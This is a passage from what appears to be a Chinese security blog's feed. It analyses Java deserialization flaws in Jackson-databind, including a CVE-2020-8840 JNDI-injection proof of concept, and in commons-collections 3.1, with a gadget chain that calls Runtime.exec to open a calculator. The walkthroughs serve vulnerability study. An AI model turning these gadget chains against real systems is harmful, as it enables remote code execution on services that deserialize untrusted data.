class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.patrilic.jackson;</span><br><span class="line"><span class="keyword">import</span> com.fasterxml.jackson.annotation.JsonTypeInfo;</span><br><span class="line"><span class="keyword">import</span> com.fasterxml.jackson.databind.ObjectMapper;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Jsontypeinfo</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> IOException </span>{</span><br><span class="line"> ObjectMapper mapper= <span class="keyword">new</span> ObjectMapper();</span><br><span class="line"> User user = <span class="keyword">new</span> User();</span><br><span class="line"> user.name= <span class="string">"JsonTypeInfo"</span>;</span><br><span class="line"> user.age=<span class="number">100</span>;</span><br><span class="line"> user.obj=<span class="keyword">new</span> Height();</span><br><span class="line"> <span class="comment">// 序列化</span></span><br><span class="line"> String json = mapper.writeValueAsString(user);</span><br><span class="line"> System.out.println(json);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 反序列化</span></span><br><span class="line"> User user1 = mapper.readValue(json, User.class);</span><br><span class="line"> System.out.println(user1);</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">User</span></span>{</span><br><span class="line"> <span class="keyword">public</span> String name;</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">int</span> age;</span><br><span class="line"> <span class="meta">@JsonTypeInfo</span>(use = JsonTypeInfo.Id.NONE)</span><br><span class="line"><span class="comment">// @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)</span></span><br><span class="line"><span class="comment">// @JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)</span></span><br><span class="line"><span class="comment">// @JsonTypeInfo(use = JsonTypeInfo.Id.NAME)</span></span><br><span class="line"><span class="comment">// @JsonTypeInfo(use = JsonTypeInfo.Id.CUSTOM)</span></span><br><span class="line"> <span class="keyword">public</span> Object obj;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">toString</span><span class="params">()</span></span>{</span><br><span class="line"> <span class="keyword">return</span> String.format(<span class="string">"name = %s, age = %d, obj = %s"</span>, name, age, obj) ;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Height</span></span>{</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">int</span> h = <span class="number">100</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p><p>所以在设置为下面三种方式时,可以触发反序列化:</p><ul><li>enableDefaultTyping()</li><li>@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)</li><li>@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)</li></ul><h2 id="0x04-Jackson解析流程"><a href="#0x04-Jackson解析流程" class="headerlink" title="0x04 Jackson解析流程"></a>0x04 Jackson解析流程</h2><p>测试代码<br><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.patrilic.jackson;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.fasterxml.jackson.databind.ObjectMapper;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">JavaLangObject</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> IOException </span>{</span><br><span class="line"> People Q = <span class="keyword">new</span> People();</span><br><span class="line"> Q.age = <span class="number">20</span>;</span><br><span class="line"> Q.name = <span class="string">"com.patrilic.jackson.patrilic"</span>;</span><br><span class="line"> Q.object = <span class="keyword">new</span> patrilic();</span><br><span class="line"> Q.sex = <span class="keyword">new</span> MySex();</span><br><span class="line"> Q.sex.setSex(<span class="number">1</span>);</span><br><span class="line"> ObjectMapper mapper = <span class="keyword">new</span> ObjectMapper();</span><br><span class="line"> mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE);</span><br><span class="line"> <span class="comment">// 序列化</span></span><br><span class="line"> String json = mapper.writeValueAsString(Q);</span><br><span class="line"> System.out.print(json);</span><br><span class="line"></span><br><span class="line"> System.out.println(<span class="string">"\n"</span>);</span><br><span class="line"> <span class="comment">// 反序列化</span></span><br><span class="line"> People Q2 = mapper.readValue(json, People.class);</span><br><span class="line"> System.out.println(Q2);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">People</span> </span>{</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">int</span> age;</span><br><span class="line"> <span class="keyword">public</span> String name;</span><br><span class="line"> <span class="keyword">public</span> Object object;</span><br><span class="line"> <span class="keyword">public</span> Sex sex;</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">toString</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> String.format(<span class="string">"age = %d, name = %s, object = %s, sex = %s"</span>, age, name, object == <span class="keyword">null</span> ? <span class="string">"null"</span> : object, sex);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">patrilic</span> </span>{</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">int</span> length = <span class="number">100</span>;</span><br><span class="line">}</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">MySex</span> <span class="keyword">implements</span> <span class="title">Sex</span> </span>{</span><br><span class="line"> <span class="keyword">int</span> sex;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">int</span> <span class="title">getSex</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> sex;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setSex</span><span class="params">(<span class="keyword">int</span> sex)</span> </span>{</span><br><span class="line"> <span class="keyword">this</span>.sex = sex;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">interface</span> <span class="title">Sex</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setSex</span><span class="params">(<span class="keyword">int</span> sex)</span></span>;</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">int</span> <span class="title">getSex</span><span class="params">()</span></span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p><p>先在<code>mapper.readValue(json, People.class);</code>处下个断点,简单跟一下发现主要解析流程都是在<code>BeanDeserializer</code>这个类之后</p><p>所以直接在<br><code>com/fasterxml/jackson/databind/deser/BeanDeserializer.class#deserialize</code>方法下断点</p><p>当解析到<code>this.vanillaDeserialize</code>的时候,先解析<code>p.nextToken()</code><br><img src="/Jackson-databind 反序列化漏洞分析/E63A7F60-21C4-4541-BFC2-EA710997B2EC.png" alt="3b991900e36547799b7a6519153ec5db"></p><p>通过解析序列化字符串,将数据和symbol分开,symbol统一入到symbols中<br><img src="/Jackson-databind 反序列化漏洞分析/CF568950-8E6F-44C5-A844-C49BFC3F7DD0.png" alt="04e4c18ba3861c63ff7384ac490cc194"></p><p><img src="/Jackson-databind 反序列化漏洞分析/F6C6D22B-F6DA-44A8-AB28-D2E5A50EDE41.png" alt="2425faa16c02d6db3962eeaa533eb90f"></p><p>然后跳转到<br><code>com/fasterxml/jackson/databind/deser/std/StdValueInstantiator.class#createUsingDefault</code><br><img src="/Jackson-databind 反序列化漏洞分析/DF1A8B21-47A8-449B-B5C7-28FCC03D758F.png" alt="a52d1bd5e850ceb64b1850f44791cc2f"></p><p>通过call()去创建一个实例<br><img src="/Jackson-databind 反序列化漏洞分析/8CBCE7CF-B707-4F5D-8E74-0C3CDF77E48C.png" alt="920ab6628909d54b95265897c5bfa1d6"></p><p>之后又回到<code>vanillaDeserialize()</code>方法,<br><img src="/Jackson-databind 反序列化漏洞分析/67E5A09D-7488-4846-9C77-3E998F07756D.png" alt="a876c60a72d5c7a7a2b15ed2a4bc9b41"></p><p>经过<code>prop.deserializeAndSet()</code>跳转到<br><code>/com/fasterxml/jackson/databind/deser/impl/FieldProperty.class#deserializeAndSet</code></p><p><img src="/Jackson-databind 反序列化漏洞分析/DA71BA40-C8AA-4BB7-8377-AFD15859A45A.png" alt="4cf6eaab1ce504c2554c11d05cd0355b"></p><h2 id="0x05-反序列化利用"><a href="#0x05-反序列化利用" class="headerlink" title="0x05 反序列化利用"></a>0x05 反序列化利用</h2><p>Jackson原生框架是没有存在直接漏洞利用的类的,我们需要引入一些外部类去构造Gadget</p><h3 id="CVE-2020-8840"><a href="#CVE-2020-8840" class="headerlink" title="CVE-2020-8840"></a>CVE-2020-8840</h3><p>这个CVE利用<code>xbean-reflect</code>利用链造成JNDI注入<br>影响版本:2.0.0 - 2.9.10.2</p><p>poc:<br><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.patrilic.jackson;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.fasterxml.jackson.databind.ObjectMapper;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">poc</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String args[])</span> <span class="keyword">throws</span> IOException </span>{</span><br><span class="line"> ObjectMapper mapper = <span class="keyword">new</span> ObjectMapper();</span><br><span class="line"></span><br><span class="line"> mapper.enableDefaultTyping();</span><br><span class="line"></span><br><span class="line"> String json = <span class="string">"[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/ExportObject\"}]"</span>;</span><br><span class="line"></span><br><span class="line"> mapper.readValue(json, Object.class);</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p><p>跟一下流程:<br>调用mapper.readValue()的时候,<code>return _readMapAndClose</code><br><img src="/Jackson-databind 反序列化漏洞分析/40720CA2-C8AD-4198-A0AD-61289CBC36E9.png" alt="c05706347386ede4181e919ace6d325a"></p><p>步入<code>_readMapAndClose</code>,经过读取json,配置<code>DeserializationContext</code>最终到else分支<br><img src="/Jackson-databind 反序列化漏洞分析/B3F3570B-96DF-43D1-8D49-7E57194E1502.png" alt="ac4dbc8c4644763749ec7a6c2a9186ff"><br>调用了<code>deser.deserialize(p, ctxt)</code><br><img src="/Jackson-databind 反序列化漏洞分析/BA7507FB-CC66-4DC9-810B-9CF7E5171568.png" alt="c709959f8631acc164bee8dcede20459"></p><p>继续Step Into,直到跟到<br><code>com/fasterxml/jackson/databind/deser/BeanDeserializer.class#deserialize</code><br><img src="/Jackson-databind 反序列化漏洞分析/57595EA2-A6B7-4298-93C9-63DB88A82C62.png" alt="02cf22f01eebbc9eb6c5efc1a68b8b63"></p><p>到这里也就是之前熟悉的Jackson反序列化流程了,继续步入到<br><code>com/fasterxml/jackson/databind/deser/BeanDeserializer.class</code><br><img src="/Jackson-databind 反序列化漏洞分析/83FE5795-5FA1-4C45-A107-6D618C6090F1.png" alt="b66482754ac351a5bfa8912b1c08a7c2"></p><p><img src="/Jackson-databind 反序列化漏洞分析/8AFA71C5-8F74-414F-BC2F-0A4130100580.png" alt="ff5e08168d379ed16103d4fde8958424"></p><p><img src="/Jackson-databind 反序列化漏洞分析/E96D948E-78AF-430D-85BF-DF0ED1FB452E.png" alt="916cb7de4ede46af0aaa58aba79f5a70"><br>通过setter.invoke()执行方法,步入eval类<br><code>org/apache/xbean/propertyeditor/JndiConverter.class</code><br>进行lookup(), 造成JNDI注入<br><img src="/Jackson-databind 反序列化漏洞分析/3B502974-FD08-4576-BA53-DC45A92C11AC.png" alt="3bf785cab194dea07f7782c0295ad7a6"></p><p>完整调用链<br><img src="/Jackson-databind 反序列化漏洞分析/32E5A2D0-E691-422D-BB0C-1D471EF1FE86.png" alt="ee9bd51b1a9707adafe242d0e4434ba0"></p><p>黑名单类:<br><img src="/Jackson-databind 反序列化漏洞分析/4F2069B1-DD87-4200-BBF4-C47547D60342.png" alt="46b8f5c60d9a14916a00b7cbea24ec30"></p><h2 id="0x06-相关链接"><a href="#0x06-相关链接" class="headerlink" title="0x06 相关链接"></a>0x06 相关链接</h2><p><a href="https://adamcaudill.com/2017/10/04/exploiting-jackson-rce-cve-2017-7525/" target="_blank" rel="noopener">https://adamcaudill.com/2017/10/04/exploiting-jackson-rce-cve-2017-7525/</a><br><a href="https://b1ngz.github.io/java-deserialization-jdk7u21-gadget-note/" target="_blank" rel="noopener">https://b1ngz.github.io/java-deserialization-jdk7u21-gadget-note/</a><br><a href="http://www.lmxspace.com/2019/07/30/Jackson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%B1%87%E6%80%BB" target="_blank" rel="noopener">http://www.lmxspace.com/2019/07/30/Jackson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%B1%87%E6%80%BB</a><br><a href="https://www.anquanke.com/post/id/199460" target="_blank" rel="noopener">https://www.anquanke.com/post/id/199460</a><br><a href="https://www.ibm.com/developerworks/cn/java/jackson-advanced-application/index.html" target="_blank" rel="noopener">https://www.ibm.com/developerworks/cn/java/jackson-advanced-application/index.html</a><br><a href="https://github.com/FasterXML/jackson-databind" target="_blank" rel="noopener">https://github.com/FasterXML/jackson-databind</a><br><a href="https://github.com/FasterXML/jackson-databind/issues/2620" target="_blank" rel="noopener">https://github.com/FasterXML/jackson-databind/issues/2620</a></p>]]></content>
<summary type="html">
<blockquote>
<p>@Author: Patrilic<br>@Time: 2020-3-24 20:13:43</p>
</blockquote>
<p><img src="/wallpaper/silhouette2.jpg" alt></p>
<h2 id="0
</summary>
<category term="Java_Sec" scheme="http://patrilic.top/categories/Java-Sec/"/>
<category term="Jackson" scheme="http://patrilic.top/tags/Jackson/"/>
</entry>
<entry>
<title>commons-collections-3.1 反序列化分析</title>
<link href="http://patrilic.top/2020/03/19/commons-collections-3.1%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90/"/>
<id>http://patrilic.top/2020/03/19/commons-collections-3.1 反序列化分析/</id>
<published>2020-03-19T15:24:22.000Z</published>
<updated>2020-03-19T15:32:52.608Z</updated>
<content type="html"><![CDATA[<blockquote><p>@Author: Patrilic<br>@Time: 2020-3-19 23:24:22</p></blockquote><p><img src="/wallpaper/silhouette.jpg" alt></p><h2 id="0x00-Build"><a href="#0x00-Build" class="headerlink" title="0x00 Build"></a>0x00 Build</h2><p>Jdk version : 7u80<br>pom.xml:<br><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?xml version="1.0" encoding="UTF-8"?></span></span><br><span class="line"><span class="tag"><<span class="name">project</span> <span class="attr">xmlns</span>=<span class="string">"http://maven.apache.org/POM/4.0.0"</span></span></span><br><span class="line"><span class="tag"> <span class="attr">xmlns:xsi</span>=<span class="string">"http://www.w3.org/2001/XMLSchema-instance"</span></span></span><br><span class="line"><span class="tag"> <span class="attr">xsi:schemaLocation</span>=<span class="string">"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">modelVersion</span>></span>4.0.0<span class="tag"></<span class="name">modelVersion</span>></span></span><br><span class="line"></span><br><span class="line"> <span class="tag"><<span class="name">groupId</span>></span>commons-collections<span class="tag"></<span class="name">groupId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">artifactId</span>></span>commons-collections<span class="tag"></<span class="name">artifactId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">version</span>></span>1.0-SNAPSHOT<span class="tag"></<span class="name">version</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">dependencies</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">dependency</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">groupId</span>></span>commons-collections<span class="tag"></<span class="name">groupId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">artifactId</span>></span>commons-collections<span class="tag"></<span class="name">artifactId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">version</span>></span>3.1<span class="tag"></<span class="name">version</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">dependency</span>></span></span><br><span class="line"></span><br><span class="line"> <span class="tag"></<span class="name">dependencies</span>></span></span><br><span class="line"></span><br><span class="line"><span class="tag"></<span class="name">project</span>></span></span><br></pre></td></tr></table></figure></p><h2 id="0x01-Poc"><a href="#0x01-Poc" class="headerlink" title="0x01 Poc"></a>0x01 Poc</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.patrilic.vul;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.Transformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ConstantTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ChainedTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.TransformedMap;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">EvalObject</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception </span>{</span><br><span class="line"> Transformer[] transformers = <span class="keyword">new</span> Transformer[]{</span><br><span class="line"> <span class="keyword">new</span> ConstantTransformer(Runtime.class),</span><br><span class="line"> <span class="keyword">new</span> InvokerTransformer(<span class="string">"getMethod"</span>, <span class="keyword">new</span> Class[]{String.class, Class[].class}, <span class="keyword">new</span> Object[]{<span class="string">"getRuntime"</span>, <span class="keyword">new</span> Class[<span class="number">0</span>]}),</span><br><span class="line"> <span class="keyword">new</span> InvokerTransformer(<span class="string">"invoke"</span>, <span class="keyword">new</span> Class[]{Object.class, Object[].class}, <span class="keyword">new</span> Object[]{<span class="keyword">null</span>, <span class="keyword">new</span> Object[<span class="number">0</span>]}),</span><br><span class="line"> <span class="keyword">new</span> InvokerTransformer(<span class="string">"exec"</span>, <span class="keyword">new</span> Class[]{String.class}, <span class="keyword">new</span> Object[]{<span class="string">"open -a Calculator.app"</span>})</span><br><span class="line"> };</span><br><span class="line"></span><br><span class="line"> <span class="comment">//将transformers数组存入ChaniedTransformer这个继承类</span></span><br><span class="line"> Transformer transformerChain = <span class="keyword">new</span> ChainedTransformer(transformers);</span><br><span class="line"></span><br><span class="line"> <span class="comment">//创建Map并绑定transformerChain</span></span><br><span class="line"> Map innerMap = <span class="keyword">new</span> HashMap();</span><br><span class="line"> innerMap.put(<span class="string">"value"</span>, <span class="string">"value"</span>);</span><br><span class="line"> Map outerMap = TransformedMap.decorate(innerMap, <span class="keyword">null</span>, transformerChain);</span><br><span class="line"></span><br><span class="line"> <span class="comment">//触发漏洞</span></span><br><span class="line"> Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();</span><br><span class="line"> onlyElement.setValue(<span class="string">"foobar"</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><img src="/commons-collections-3.1 反序列化分析.resources/5B4B3537-C6F0-4B78-8F8D-9DA5EE284821.png" alt="cbe8379ddf10aae66787999b64ba5684"></p><h2 id="0x02-漏洞分析"><a href="#0x02-漏洞分析" class="headerlink" title="0x02 漏洞分析"></a>0x02 漏洞分析</h2><p>简单一看,最终在<br><code>org/apache/commons/collections/functors/InvokerTransformer.class:125</code><br>调用了Method.invoke()执行了<code>java.lang.Runtime.getRuntime().exec</code><br><img src="/commons-collections-3.1 反序列化分析.resources/5E275CDC-13EA-484D-BECD-495D053496B0.png" alt="a9bf116d2bd59203636194be766ee77b"></p><h3 id="InvokerTransformer-class"><a href="#InvokerTransformer-class" class="headerlink" title="InvokerTransformer.class"></a>InvokerTransformer.class</h3><p><code>InvokerTransformer.class</code>提供了一个Object方法,用Java反射的机制去创建类实例<br><img src="/commons-collections-3.1 反序列化分析.resources/CFB6DBE1-BD0F-4100-96DE-F5729BFC53D3.png" alt="64dc8fe72e91bc28fbf91241795e9f7c"></p><p>可以通过直接调用InvokerTransformer的反射机制去调用<code>java.class.Runtime()</code><br><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.patrilic.vul;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;</span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">test</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> </span>{</span><br><span class="line"> InvokerTransformer invokerTransformer = <span class="keyword">new</span> InvokerTransformer(</span><br><span class="line"> <span class="string">"exec"</span>, </span><br><span class="line"> <span class="keyword">new</span> Class[]{String.class}, </span><br><span class="line"> <span class="keyword">new</span> Object[]{<span class="string">"open -a Calculator.app"</span>});</span><br><span class="line"> invokerTransformer.transform(Runtime.getRuntime());</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p><p><img src="/commons-collections-3.1 反序列化分析.resources/43F68839-CF02-46F8-8671-BC384378CABB.png" alt="7e3f2d2399aea4b4aad3a909244b95f0"></p><h3 id="利用链"><a href="#利用链" class="headerlink" title="利用链"></a>利用链</h3><p>Poc这里并没有直接调用<code>InvokerTransformer</code>,而是通过<code>ChainedTransformer</code>类<br><img src="/commons-collections-3.1 反序列化分析.resources/65993B81-F1C6-43BD-A87B-BC7D3D503EF9.png" alt="2fe3fed0216a5414c0888d805bef13a0"></p><p>源码比较少,全部贴出来<br><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// Source code recreated from a .class file by IntelliJ IDEA</span></span><br><span class="line"><span class="comment">// (powered by Fernflower decompiler)</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">package</span> org.apache.commons.collections.functors;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.Serializable;</span><br><span class="line"><span class="keyword">import</span> java.util.Collection;</span><br><span class="line"><span class="keyword">import</span> java.util.Iterator;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.Transformer;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">ChainedTransformer</span> <span class="keyword">implements</span> <span class="title">Transformer</span>, <span class="title">Serializable</span> </span>{</span><br><span class="line"> <span class="keyword">static</span> <span class="keyword">final</span> <span class="keyword">long</span> serialVersionUID = <span class="number">3514945074733160196L</span>;</span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">final</span> Transformer[] iTransformers;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> Transformer <span class="title">getInstance</span><span class="params">(Transformer[] transformers)</span> </span>{</span><br><span class="line"> FunctorUtils.validate(transformers);</span><br><span class="line"> <span class="keyword">if</span> (transformers.length == <span class="number">0</span>) {</span><br><span class="line"> <span class="keyword">return</span> NOPTransformer.INSTANCE;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> transformers = FunctorUtils.copy(transformers);</span><br><span class="line"> <span class="keyword">return</span> 